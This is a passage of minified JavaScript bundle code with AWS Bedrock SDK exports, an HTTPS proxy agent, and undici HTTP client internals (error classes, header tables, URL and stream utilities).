uardrailConverseContentQualifier=Bb3;t16.GuardrailConverseImageFormat=ub3;t16.GuardrailImageFormat=Wb3;t16.GuardrailManagedWordType=Sb3;t16.GuardrailOutputScope=jb3;t16.GuardrailPiiEntityType=Lb3;t16.GuardrailSensitiveInformationPolicyAction=Cb3;t16.GuardrailStreamProcessingMode=lb3;t16.GuardrailTopicPolicyAction=Rb3;t16.GuardrailTopicType=yb3;t16.GuardrailTrace=hb3;t16.GuardrailWordPolicyAction=Ib3;t16.ImageFormat=mb3;t16.InternalServerException=$44;t16.InvokeModelCommand=n16;t16.InvokeModelWithBidirectionalStreamCommand=r16;t16.InvokeModelWithResponseStreamCommand=o16;t16.ListAsyncInvokesCommand=I71;t16.ModelErrorException=M44;t16.ModelNotReadyException=P44;t16.ModelStreamErrorException=f44;t16.ModelTimeoutException=V44;t16.PerformanceConfigLatency=pb3;t16.ResourceNotFoundException=W44;t16.ServiceQuotaExceededException=D44;t16.ServiceTierType=db3;t16.ServiceUnavailableException=j44;t16.SortAsyncInvocationBy=Gb3;t16.SortOrder=Zb3;t16.StartAsyncInvokeCommand=a16;t16.StopReason=cb3;t16.ThrottlingException=_44;t16.ToolResultStatus=Fb3;t16.ToolUseType=Qb3;t16.Trace=ib3;t16.ValidationException=G44;t16.VideoFormat=gb3;t16.paginateListAsyncInvokes=$b3});var m74=v((yV)=>{var Ku3=yV&&yV.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),qu3=yV&&yV.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),u74=yV&&yV.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))Ku3(K,A,q)}return qu3(K,A),K};Object.defineProperty(yV,"__esModule",{value:!0});yV.req=yV.json=yV.toBuffer=void 0;var Yu3=u74(CA("http")),zu3=u74(CA("https"));async function B74(A){let K=0,q=[];for await(let Y of A)K+=Y.length,q.push(Y);return Buffer.concat(q,K)}yV.toBuffer=B74;async function wu3(A){let q=(await B74(A)).toString("utf8");try{return JSON.parse(q)}catch(Y){let z=Y;throw z.message+=` (input: ${q})`,z}}yV.json=wu3;function Hu3(A,K={}){let Y=((typeof A==="string"?A:A.href).startsWith("https:")?zu3:Yu3).request(A,K),z=new Promise((w,H)=>{Y.once("response",w).once("error",H).end()});return Y.then=z.then.bind(z),Y}yV.req=Hu3});var e16=v((GT)=>{var F74=GT&>.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),Ju3=GT&>.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),Q74=GT&>.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))F74(K,A,q)}return Ju3(K,A),K},Ou3=GT&>.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))F74(K,A,q)};Object.defineProperty(GT,"__esModule",{value:!0});GT.Agent=void 0;var Xu3=Q74(CA("net")),g74=Q74(CA("http")),$u3=CA("https");Ou3(m74(),GT);var Jx=Symbol("AgentBaseInternalState");class U74 extends g74.Agent{constructor(A){super(A);this[Jx]={}}isSecureEndpoint(A){if(A){if(typeof A.secureEndpoint==="boolean")return A.secureEndpoint;if(typeof A.protocol==="string")return A.protocol==="https:"}let{stack:K}=Error();if(typeof K!=="string")return!1;return K.split(` `).some((q)=>q.indexOf("(https.js:")!==-1||q.indexOf("node:https:")!==-1)}incrementSockets(A){if(this.maxSockets===1/0&&this.maxTotalSockets===1/0)return null;if(!this.sockets[A])this.sockets[A]=[];let K=new Xu3.Socket({writable:!1});return this.sockets[A].push(K),this.totalSocketCount++,K}decrementSockets(A,K){if(!this.sockets[A]||K===null)return;let q=this.sockets[A],Y=q.indexOf(K);if(Y!==-1){if(q.splice(Y,1),this.totalSocketCount--,q.length===0)delete this.sockets[A]}}getName(A){if(typeof A.secureEndpoint==="boolean"?A.secureEndpoint:this.isSecureEndpoint(A))return $u3.Agent.prototype.getName.call(this,A);return super.getName(A)}createSocket(A,K,q){let Y={...K,secureEndpoint:this.isSecureEndpoint(K)},z=this.getName(Y),w=this.incrementSockets(z);Promise.resolve().then(()=>this.connect(A,Y)).then((H)=>{if(this.decrementSockets(z,w),H instanceof g74.Agent)try{return H.addRequest(A,Y)}catch(J){return q(J)}this[Jx].currentSocket=H,super.createSocket(A,K,q)},(H)=>{this.decrementSockets(z,w),q(H)})}createConnection(){let A=this[Jx].currentSocket;if(this[Jx].currentSocket=void 0,!A)throw Error("No socket was returned in the `connect()` function");return A}get defaultPort(){return this[Jx].defaultPort??(this.protocol==="https:"?443:80)}set defaultPort(A){if(this[Jx])this[Jx].defaultPort=A}get protocol(){return this[Jx].protocol??(this.isSecureEndpoint()?"https:":"http:")}set protocol(A){if(this[Jx])this[Jx].protocol=A}}GT.Agent=U74});var p74=v((A0A)=>{var _u3=A0A&&A0A.__importDefault||function(A){return A&&A.__esModule?A:{default:A}};Object.defineProperty(A0A,"__esModule",{value:!0});A0A.parseProxyResponse=void 0;var Gu3=_u3(V1A()),h71=(0,Gu3.default)("https-proxy-agent:parse-proxy-response");function Zu3(A){return new Promise((K,q)=>{let Y=0,z=[];function w(){let $=A.read();if($)X($);else A.once("readable",w)}function H(){A.removeListener("end",J),A.removeListener("error",O),A.removeListener("readable",w)}function J(){H(),h71("onend"),q(Error("Proxy connection ended before receiving CONNECT response"))}function O($){H(),h71("onerror %o",$),q($)}function X($){z.push($),Y+=$.length;let _=Buffer.concat(z,Y),G=_.indexOf(`\r \r `);if(G===-1){h71("have not received end of HTTP headers yet..."),w();return}let Z=_.slice(0,G).toString("ascii").split(`\r `),W=Z.shift();if(!W)return A.destroy(),q(Error("No header received from proxy CONNECT response"));let D=W.split(" "),j=+D[1],M=D.slice(2).join(" "),P={};for(let f of Z){if(!f)continue;let N=f.indexOf(":");if(N===-1)return A.destroy(),q(Error(`Invalid header from proxy CONNECT response: "${f}"`));let T=f.slice(0,N).toLowerCase(),C=f.slice(N+1).trimStart(),R=P[T];if(typeof R==="string")P[T]=[R,C];else if(Array.isArray(R))R.push(C);else P[T]=C}h71("got proxy server response: %o %o",W,P),H(),K({connect:{statusCode:j,statusText:M,headers:P},buffered:_})}A.on("error",O),A.on("end",J),w()})}A0A.parseProxyResponse=Zu3});var KRA=v((Mk)=>{var Wu3=Mk&&Mk.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),Du3=Mk&&Mk.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),i74=Mk&&Mk.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))Wu3(K,A,q)}return Du3(K,A),K},n74=Mk&&Mk.__importDefault||function(A){return A&&A.__esModule?A:{default:A}};Object.defineProperty(Mk,"__esModule",{value:!0});Mk.HttpsProxyAgent=void 0;var b71=i74(CA("net")),d74=i74(CA("tls")),ju3=n74(CA("assert")),Mu3=n74(V1A()),Pu3=e16(),Vu3=CA("url"),fu3=p74(),ARA=(0,Mu3.default)("https-proxy-agent"),c74=(A)=>{if(A.servername===void 0&&A.host&&!b71.isIP(A.host))return{...A,servername:A.host};return A};class A66 extends Pu3.Agent{constructor(A,K){super(K);this.options={path:void 0},this.proxy=typeof A==="string"?new Vu3.URL(A):A,this.proxyHeaders=K?.headers??{},ARA("Creating new HttpsProxyAgent instance: %o",this.proxy.href);let q=(this.proxy.hostname||this.proxy.host).replace(/^\[|\]$/g,""),Y=this.proxy.port?parseInt(this.proxy.port,10):this.proxy.protocol==="https:"?443:80;this.connectOpts={ALPNProtocols:["http/1.1"],...K?l74(K,"headers"):null,host:q,port:Y}}async connect(A,K){let{proxy:q}=this;if(!K.host)throw TypeError('No "host" provided');let Y;if(q.protocol==="https:")ARA("Creating `tls.Socket`: %o",this.connectOpts),Y=d74.connect(c74(this.connectOpts));else ARA("Creating `net.Socket`: %o",this.connectOpts),Y=b71.connect(this.connectOpts);let z=typeof this.proxyHeaders==="function"?this.proxyHeaders():{...this.proxyHeaders},w=b71.isIPv6(K.host)?`[${K.host}]`:K.host,H=`CONNECT ${w}:${K.port} HTTP/1.1\r `;if(q.username||q.password){let _=`${decodeURIComponent(q.username)}:${decodeURIComponent(q.password)}`;z["Proxy-Authorization"]=`Basic ${Buffer.from(_).toString("base64")}`}if(z.Host=`${w}:${K.port}`,!z["Proxy-Connection"])z["Proxy-Connection"]=this.keepAlive?"Keep-Alive":"close";for(let _ of Object.keys(z))H+=`${_}: ${z[_]}\r `;let J=(0,fu3.parseProxyResponse)(Y);Y.write(`${H}\r `);let{connect:O,buffered:X}=await J;if(A.emit("proxyConnect",O),this.emit("proxyConnect",O,A),O.statusCode===200){if(A.once("socket",Nu3),K.secureEndpoint)return ARA("Upgrading socket connection to TLS"),d74.connect({...l74(c74(K),"host","path","port"),socket:Y});return Y}Y.destroy();let $=new b71.Socket({writable:!1});return $.readable=!0,A.once("socket",(_)=>{ARA("Replaying proxy buffer for failed request"),(0,ju3.default)(_.listenerCount("data")>0),_.push(X),_.push(null)}),$}}A66.protocols=["http","https"];Mk.HttpsProxyAgent=A66;function Nu3(A){A.resume()}function l74(A,...K){let q={},Y;for(Y in A)if(!K.includes(Y))q[Y]=A[Y];return q}});var MJ=v((c1w,r74)=>{r74.exports={kClose:Symbol("close"),kDestroy:Symbol("destroy"),kDispatch:Symbol("dispatch"),kUrl:Symbol("url"),kWriting:Symbol("writing"),kResuming:Symbol("resuming"),kQueue:Symbol("queue"),kConnect:Symbol("connect"),kConnecting:Symbol("connecting"),kKeepAliveDefaultTimeout:Symbol("default keep alive timeout"),kKeepAliveMaxTimeout:Symbol("max keep alive timeout"),kKeepAliveTimeoutThreshold:Symbol("keep alive timeout threshold"),kKeepAliveTimeoutValue:Symbol("keep alive timeout"),kKeepAlive:Symbol("keep alive"),kHeadersTimeout:Symbol("headers timeout"),kBodyTimeout:Symbol("body timeout"),kServerName:Symbol("server name"),kLocalAddress:Symbol("local address"),kHost:Symbol("host"),kNoRef:Symbol("no ref"),kBodyUsed:Symbol("used"),kBody:Symbol("abstracted request body"),kRunning:Symbol("running"),kBlocking:Symbol("blocking"),kPending:Symbol("pending"),kSize:Symbol("size"),kBusy:Symbol("busy"),kQueued:Symbol("queued"),kFree:Symbol("free"),kConnected:Symbol("connected"),kClosed:Symbol("closed"),kNeedDrain:Symbol("need drain"),kReset:Symbol("reset"),kDestroyed:Symbol.for("nodejs.stream.destroyed"),kResume:Symbol("resume"),kOnError:Symbol("on error"),kMaxHeadersSize:Symbol("max headers size"),kRunningIdx:Symbol("running index"),kPendingIdx:Symbol("pending index"),kError:Symbol("error"),kClients:Symbol("clients"),kClient:Symbol("client"),kParser:Symbol("parser"),kOnDestroyed:Symbol("destroy callbacks"),kPipelining:Symbol("pipelining"),kSocket:Symbol("socket"),kHostHeader:Symbol("host header"),kConnector:Symbol("connector"),kStrictContentLength:Symbol("strict content length"),kMaxRedirections:Symbol("maxRedirections"),kMaxRequests:Symbol("maxRequestsPerClient"),kProxy:Symbol("proxy agent options"),kCounter:Symbol("socket request counter"),kInterceptors:Symbol("dispatch interceptors"),kMaxResponseSize:Symbol("max response size"),kHTTP2Session:Symbol("http2Session"),kHTTP2SessionState:Symbol("http2Session state"),kRetryHandlerDefaultRetry:Symbol("retry agent default retry"),kConstruct:Symbol("constructable"),kListeners:Symbol("listeners"),kHTTPContext:Symbol("http context"),kMaxConcurrentStreams:Symbol("max concurrent streams"),kNoProxyAgent:Symbol("no proxy agent"),kHttpProxyAgent:Symbol("http proxy agent"),kHttpsProxyAgent:Symbol("https proxy agent")}});var _2=v((l1w,jK4)=>{class iO extends Error{constructor(A){super(A);this.name="UndiciError",this.code="UND_ERR"}}class o74 extends iO{constructor(A){super(A);this.name="ConnectTimeoutError",this.message=A||"Connect Timeout Error",this.code="UND_ERR_CONNECT_TIMEOUT"}}class a74 extends iO{constructor(A){super(A);this.name="HeadersTimeoutError",this.message=A||"Headers Timeout Error",this.code="UND_ERR_HEADERS_TIMEOUT"}}class s74 extends iO{constructor(A){super(A);this.name="HeadersOverflowError",this.message=A||"Headers Overflow Error",this.code="UND_ERR_HEADERS_OVERFLOW"}}class t74 extends iO{constructor(A){super(A);this.name="BodyTimeoutError",this.message=A||"Body Timeout Error",this.code="UND_ERR_BODY_TIMEOUT"}}class e74 extends iO{constructor(A,K,q,Y){super(A);this.name="ResponseStatusCodeError",this.message=A||"Response Status Code Error",this.code="UND_ERR_RESPONSE_STATUS_CODE",this.body=Y,this.status=K,this.statusCode=K,this.headers=q}}class AK4 extends iO{constructor(A){super(A);this.name="InvalidArgumentError",this.message=A||"Invalid Argument Error",this.code="UND_ERR_INVALID_ARG"}}class KK4 extends iO{constructor(A){super(A);this.name="InvalidReturnValueError",this.message=A||"Invalid Return Value Error",this.code="UND_ERR_INVALID_RETURN_VALUE"}}class K66 extends iO{constructor(A){super(A);this.name="AbortError",this.message=A||"The operation was aborted"}}class qK4 extends K66{constructor(A){super(A);this.name="AbortError",this.message=A||"Request aborted",this.code="UND_ERR_ABORTED"}}class YK4 extends iO{constructor(A){super(A);this.name="InformationalError",this.message=A||"Request information",this.code="UND_ERR_INFO"}}class zK4 extends iO{constructor(A){super(A);this.name="RequestContentLengthMismatchError",this.message=A||"Request body length does not match content-length header",this.code="UND_ERR_REQ_CONTENT_LENGTH_MISMATCH"}}class wK4 extends iO{constructor(A){super(A);this.name="ResponseContentLengthMismatchError",this.message=A||"Response body length does not match content-length header",this.code="UND_ERR_RES_CONTENT_LENGTH_MISMATCH"}}class HK4 extends iO{constructor(A){super(A);this.name="ClientDestroyedError",this.message=A||"The client is destroyed",this.code="UND_ERR_DESTROYED"}}class JK4 extends iO{constructor(A){super(A);this.name="ClientClosedError",this.message=A||"The client is closed",this.code="UND_ERR_CLOSED"}}class OK4 extends iO{constructor(A,K){super(A);this.name="SocketError",this.message=A||"Socket error",this.code="UND_ERR_SOCKET",this.socket=K}}class XK4 extends iO{constructor(A){super(A);this.name="NotSupportedError",this.message=A||"Not supported error",this.code="UND_ERR_NOT_SUPPORTED"}}class $K4 extends iO{constructor(A){super(A);this.name="MissingUpstreamError",this.message=A||"No upstream has been added to the BalancedPool",this.code="UND_ERR_BPL_MISSING_UPSTREAM"}}class _K4 extends Error{constructor(A,K,q){super(A);this.name="HTTPParserError",this.code=K?`HPE_${K}`:void 0,this.data=q?q.toString():void 0}}class GK4 extends iO{constructor(A){super(A);this.name="ResponseExceededMaxSizeError",this.message=A||"Response content exceeded max size",this.code="UND_ERR_RES_EXCEEDED_MAX_SIZE"}}class ZK4 extends iO{constructor(A,K,{headers:q,data:Y}){super(A);this.name="RequestRetryError",this.message=A||"Request retry error",this.code="UND_ERR_REQ_RETRY",this.statusCode=K,this.data=Y,this.headers=q}}class WK4 extends iO{constructor(A,K,{headers:q,data:Y}){super(A);this.name="ResponseError",this.message=A||"Response error",this.code="UND_ERR_RESPONSE",this.statusCode=K,this.data=Y,this.headers=q}}class DK4 extends iO{constructor(A,K,q){super(K,{cause:A,...q??{}});this.name="SecureProxyConnectionError",this.message=K||"Secure Proxy Connection failed",this.code="UND_ERR_PRX_TLS",this.cause=A}}jK4.exports={AbortError:K66,HTTPParserError:_K4,UndiciError:iO,HeadersTimeoutError:a74,HeadersOverflowError:s74,BodyTimeoutError:t74,RequestContentLengthMismatchError:zK4,ConnectTimeoutError:o74,ResponseStatusCodeError:e74,InvalidArgumentError:AK4,InvalidReturnValueError:KK4,RequestAbortedError:qK4,ClientDestroyedError:HK4,ClientClosedError:JK4,InformationalError:YK4,SocketError:OK4,NotSupportedError:XK4,ResponseContentLengthMismatchError:wK4,BalancedPoolMissingUpstreamError:$K4,ResponseExceededMaxSizeError:GK4,RequestRetryError:ZK4,ResponseError:WK4,SecureProxyConnectionError:DK4}});var u71=v((i1w,MK4)=>{var x71={},q66=["Accept","Accept-Encoding","Accept-Language","Accept-Ranges","Access-Control-Allow-Credentials","Access-Control-Allow-Headers","Access-Control-Allow-Methods","Access-Control-Allow-Origin","Access-Control-Expose-Headers","Access-Control-Max-Age","Access-Control-Request-Headers","Access-Control-Request-Method","Age","Allow","Alt-Svc","Alt-Used","Authorization","Cache-Control","Clear-Site-Data","Connection","Content-Disposition","Content-Encoding","Content-Language","Content-Length","Content-Location","Content-Range","Content-Security-Policy","Content-Security-Policy-Report-Only","Content-Type","Cookie","Cross-Origin-Embedder-Policy","Cross-Origin-Opener-Policy","Cross-Origin-Resource-Policy","Date","Device-Memory","Downlink","ECT","ETag","Expect","Expect-CT","Expires","Forwarded","From","Host","If-Match","If-Modified-Since","If-None-Match","If-Range","If-Unmodified-Since","Keep-Alive","Last-Modified","Link","Location","Max-Forwards","Origin","Permissions-Policy","Pragma","Proxy-Authenticate","Proxy-Authorization","RTT","Range","Referer","Referrer-Policy","Refresh","Retry-After","Sec-WebSocket-Accept","Sec-WebSocket-Extensions","Sec-WebSocket-Key","Sec-WebSocket-Protocol","Sec-WebSocket-Version","Server","Server-Timing","Service-Worker-Allowed","Service-Worker-Navigation-Preload","Set-Cookie","SourceMap","Strict-Transport-Security","Supports-Loading-Mode","TE","Timing-Allow-Origin","Trailer","Transfer-Encoding","Upgrade","Upgrade-Insecure-Requests","User-Agent","Vary","Via","WWW-Authenticate","X-Content-Type-Options","X-DNS-Prefetch-Control","X-Frame-Options","X-Permitted-Cross-Domain-Policies","X-Powered-By","X-Requested-With","X-XSS-Protection"];for(let A=0;A<q66.length;++A){let K=q66[A],q=K.toLowerCase();x71[K]=x71[q]=q}Object.setPrototypeOf(x71,null);MK4.exports={wellknownHeaderNames:q66,headerNameLowerCasedRecord:x71}});var NK4=v((n1w,fK4)=>{var{wellknownHeaderNames:PK4,headerNameLowerCasedRecord:Tu3}=u71();class K0A{value=null;left=null;middle=null;right=null;code;constructor(A,K,q){if(q===void 0||q>=A.length)throw TypeError("Unreachable");if((this.code=A.charCodeAt(q))>127)throw TypeError("key must be ascii string");if(A.length!==++q)this.middle=new K0A(A,K,q);else this.value=K}add(A,K){let q=A.length;if(q===0)throw TypeError("Unreachable");let Y=0,z=this;while(!0){let w=A.charCodeAt(Y);if(w>127)throw TypeError("key must be ascii string");if(z.code===w)if(q===++Y){z.value=K;break}else if(z.middle!==null)z=z.middle;else{z.middle=new K0A(A,K,Y);break}else if(z.code<w)if(z.left!==null)z=z.left;else{z.left=new K0A(A,K,Y);break}else if(z.right!==null)z=z.right;else{z.right=new K0A(A,K,Y);break}}}search(A){let K=A.length,q=0,Y=this;while(Y!==null&&q<K){let z=A[q];if(z<=90&&z>=65)z|=32;while(Y!==null){if(z===Y.code){if(K===++q)return Y;Y=Y.middle;break}Y=Y.code<z?Y.left:Y.right}}return null}}class Y66{node=null;insert(A,K){if(this.node===null)this.node=new K0A(A,K,0);else this.node.add(A,K)}lookup(A){return this.node?.search(A)?.value??null}}var VK4=new Y66;for(let A=0;A<PK4.length;++A){let K=Tu3[PK4[A]];VK4.insert(K,K)}fK4.exports={TernarySearchTree:Y66,tree:VK4}});var j9=v((r1w,mK4)=>{var qRA=CA("node:assert"),{kDestroyed:vK4,kBodyUsed:q0A,kListeners:z66,kBody:TK4}=MJ(),{IncomingMessage:vu3}=CA("node:http"),m71=CA("node:stream"),Eu3=CA("node:net"),{Blob:ku3}=CA("node:buffer"),Cu3=CA("node:util"),{stringify:Lu3}=CA("node:querystring"),{EventEmitter:Ru3}=CA("node:events"),{InvalidArgumentError:zG}=_2(),{headerNameLowerCasedRecord:yu3}=u71(),{tree:EK4}=NK4(),[Iu3,Su3]=process.versions.node.split(".").map((A)=>Number(A));class w66{constructor(A){this[TK4]=A,this[q0A]=!1}async*[Symbol.asyncIterator](){qRA(!this[q0A],"disturbed"),this[q0A]=!0,yield*this[TK4]}}function hu3(A){if(g71(A)){if(yK4(A)===0)A.on("data",function(){qRA(!1)});if(typeof A.readableDidRead!=="boolean")A[q0A]=!1,Ru3.prototype.on.call(A,"data",function(){this[q0A]=!0});return A}else if(A&&typeof A.pipeTo==="function")return new w66(A);else if(A&&typeof A!=="string"&&!ArrayBuffer.isView(A)&&RK4(A))return new w66(A);else return A}function bu3(){}function g71(A){return A&&typeof A==="object"&&typeof A.pipe==="function"&&typeof A.on==="function"}function kK4(A){if(A===null)return!1;else if(A instanceof ku3)return!0;else if(typeof A!=="object")return!1;else{let K=A[Symbol.toStringTag];return(K==="Blob"||K==="File")&&(("stream"in A)&&typeof A.stream==="function"||("arrayBuffer"in A)&&typeof A.arrayBuffer==="function")}}function xu3(A,K){if(A.includes("?")||A.includes("#"))throw Error('Query params cannot be passed when url already contains "?" or "#".');let q=Lu3(K);if(q)A+="?"+q;return A}function CK4(A){let K=parseInt(A,10);return K===Number(A)&&K>=0&&K<=65535}function B71(A){return A!=null&&A[0]==="h"&&A[1]==="t"&&A[2]==="t"&&A[3]==="p"&&(A[4]===":"||A[4]==="s"&&A[5]===":")}function LK4(A){if(typeof A==="string"){if(A=new URL(A),!B71(A.origin||A.protocol))throw new zG("Invalid URL protocol: the URL must start with `http:` or `https:`.");return A}if(!A||typeof A!=="object")throw new zG("Invalid URL: The URL argument must be a non-null object.");if(!(A instanceof URL)){if(A.port!=null&&A.port!==""&&CK4(A.port)===!1)throw new zG("Invalid URL: port must be a valid integer or a string representation of an integer.");if(A.path!=null&&typeof A.path!=="string")throw new zG("Invalid URL path: the path must be a string or null/undefined.");if(A.pathname!=null&&typeof A.pathname!=="string")throw new zG("Invalid URL pathname: the pathname must be a string or null/undefined.");if(A.hostname!=null&&typeof A.hostname!=="string")throw new zG("Invalid URL hostname: the hostname must be a string or null/undefined.");if(A.origin!=null&&typeof A.origin!=="string")throw new zG("Invalid URL origin: the origin must be a string or null/undefined.");if(!B71(A.origin||A.protocol))throw new zG("Invalid URL protocol: the URL must start with `http:` or `https:`.");let K=A.port!=null?A.port:A.protocol==="https:"?443:80,q=A.origin!=null?A.origin:`${A.protocol||""}//${A.hostname||""}:${K}`,Y=A.path!=null?A.path:`${A.pathname||""}${A.search||""}`;if(q[q.length-1]==="/")q=q.slice(0,q.length-1);if(Y&&Y[0]!=="/")Y=`/${Y}`;return new URL(`${q}${Y}`)}if(!B71(A.origin||A.protocol))throw new zG("Invalid URL protocol: the URL must start with `http:` or `https:`.");return A}function uu3(A){if(A=LK4(A),A.pathname!=="/"||A.search||A.hash)throw new zG("invalid url");return A}function Bu3(A){if(A[0]==="["){let q=A.indexOf("]");return qRA(q!==-1),A.substring(1,q)}let K=A.indexOf(":");if(K===-1)return A;return A.substring(0,K)}function mu3(A){if(!A)return null;qRA(typeof A==="string");let K=Bu3(A);if(Eu3.isIP(K))return"";return K}function gu3(A){return JSON.parse(JSON.stringify(A))}function Fu3(A){return A!=null&&typeof A[Symbol.asyncIterator]==="function"}function RK4(A){return A!=null&&(typeof A[Symbol.iterator]==="function"||typeof A[Symbol.asyncIterator]==="function")}function yK4(A){if(A==null)return 0;else if(g71(A)){let K=A._readableState;return K&&K.objectMode===!1&&K.ended===!0&&Number.isFinite(K.length)?K.length:null}else if(kK4(A))return A.size!=null?A.size:null;else if(hK4(A))return A.byteLength;return null}function IK4(A){return A&&!!(A.destroyed||A[vK4]||m71.isDestroyed?.(A))}function Qu3(A,K){if(A==null||!g71(A)||IK4(A))return;if(typeof A.destroy==="function"){if(Object.getPrototypeOf(A).constructor===vu3)A.socket=null;A.destroy(K)}else if(K)queueMicrotask(()=>{A.emit("error",K)});if(A.destroyed!==!0)A[vK4]=!0}var Uu3=/timeout=(\d+)/;function pu3(A){let K=A.toString().match(Uu3);return K?parseInt(K[1],10)*1000:null}function SK4(A){return typeof A==="string"?yu3[A]??A.toLowerCase():EK4.lookup(A)??A.toString("latin1").toLowerCase()}function du3(A){return EK4.lookup(A)??A.toString("latin1").toLowerCase()}function cu3(A,K){if(K===void 0)K={};for(let q=0;q<A.length;q+=2){let Y=SK4(A[q]),z=K[Y];if(z){if(typeof z==="string")z=[z],K[Y]=z;z.push(A[q+1].toString("utf8"))}else{let w=A[q+1];if(typeof w==="string")K[Y]=w;else K[Y]=Array.isArray(w)?w.map((H)=>H.toString("utf8")):w.toString("utf8")}}if("content-length"in K&&"content-disposition"in K)K["content-disposition"]=Buffer.from(K["content-disposition"]).toString("latin1");return K}function lu3(A){let K=A.length,q=Array(K),Y=!1,z=-1,w,H,J=0;for(let O=0;O<A.length;O+=2){if(w=A[O],H=A[O+1],typeof w!=="string"&&(w=w.toString()),typeof H!=="string"&&(H=H.toString("utf8")),J=w.length,J===14&&w[7]==="-"&&(w==="content-length"||w.toLowerCase()==="content-length"))Y=!0;else if(J===19&&w[7]==="-"&&(w==="content-disposition"||w.toLowerCase()==="content-disposition"))z=O+1;q[O]=w,q[O+1]=H}if(Y&&z!==-1)q[z]=Buffer.from(q[z]).toString("latin1");return q}function hK4(A){return A instanceof Uint8Array||Buffer.isBuffer(A)}function iu3(A,K,q){if(!A||typeof A!=="object")throw new zG("handler must be an object");if(typeof A.onConnect!=="function")throw new zG("invalid onConnect method");if(typeof A.onError!=="function")throw new zG("invalid onError method");if(typeof A.onBodySent!=="function"&&A.onBodySent!==void 0)throw new zG("invalid onBodySent method");if(q||K==="CONNECT"){if(typeof A.onUpgrade!=="function")throw new zG("invalid onUpgrade method")}else{if(typeof A.onHeaders!=="function")throw new zG("invalid onHeaders method");if(typeof A.onData!=="function")throw new zG("invalid onData method");if(typeof A.onComplete!=="function")throw new zG("invalid onComplete method")}}function nu3(A){return!!(A&&(m71.isDisturbed(A)||A[q0A]))}function ru3(A){return!!(A&&m71.isErrored(A))}function ou3(A){return!!(A&&m71.isReadable(A))}function au3(A){return{localAddress:A.localAddress,localPort:A.localPort,remoteAddress:A.remoteAddress,remotePort:A.remotePort,remoteFamily:A.remoteFamily,timeout:A.timeout,bytesWritten:A.bytesWritten,bytesRead:A.bytesRead}}function su3(A){let K;return new ReadableStream({async start(){K=A[Symbol.asyncIterator]()},async pull(q){let{done:Y,value:z}=await K.next();if(Y)queueMicrotask(()=>{q.close(),q.byobRequest?.respond(0)});else{let w=Buffer.isBuffer(z)?z:Buffer.from(z);if(w.byteLength)q.enqueue(new Uint8Array(w))}return q.desiredSize>0},async cancel(q){await K.return()},type:"bytes"})}function tu3(A){return A&&typeof A==="object"&&typeof A.append==="function"&&typeof A.delete==="function"&&typeof A.get==="function"&&typeof A.getAll==="function"&&typeof A.has==="function"&&typeof A.set==="function"&&A[Symbol.toStringTag]==="FormData"}function eu3(A,K){if("addEventListener"in A)return A.addEventListener("abort",K,{once:!0}),()=>A.removeEventListener("abort",K);return A.addListener("abort",K),()=>A.removeListener("abort",K)}var AB3=typeof String.prototype.toWellFormed==="function",KB3=typeof String.prototype.isWellFormed==="function";function bK4(A){return AB3?`${A}`.toWellFormed():Cu3.toUSVString(A)}function qB3(A){return KB3?`${A}`.isWellFormed():bK4(A)===`${A}`}function xK4(A){switch(A){case 34:case 40:case 41:case 44:case 47:case 58:case 59:case 60:case 61:case 62:case 63:case 64:case 91:case 92:case 93:case 123:case 125:return!1;default:return A>=33&&A<=126}}function YB3(A){if(A.length===0)return!1;for(let K=0;K<A.length;++K)if(!xK4(A.charCodeAt(K)))return!1;return!0}var zB3=/[^\t\x20-\x7e\x80-\xff]/;function wB3(A){return!zB3.test(A)}function HB3(A){if(A==null||A==="")return{start:0,end:null,size:null};let K=A?A.match(/^bytes (\d+)-(\d+)\/(\d+)?$/):null;return K?{start:parseInt(K[1]),end:K[2]?parseInt(K[2]):null,size:K[3]?parseInt(K[3]):null}:null}function JB3(A,K,q){return(A[z66]??=[]).push([K,q]),A.on(K,q),A}function OB3(A){for(let[K,q]of A[z66]??[])A.removeListener(K,q);A[z66]=null}function XB3(A,K,q){try{K.onError(q),qRA(K.aborted)}catch(Y){A.emit("error",Y)}}var uK4=Object.create(null);uK4.enumerable=!0;var 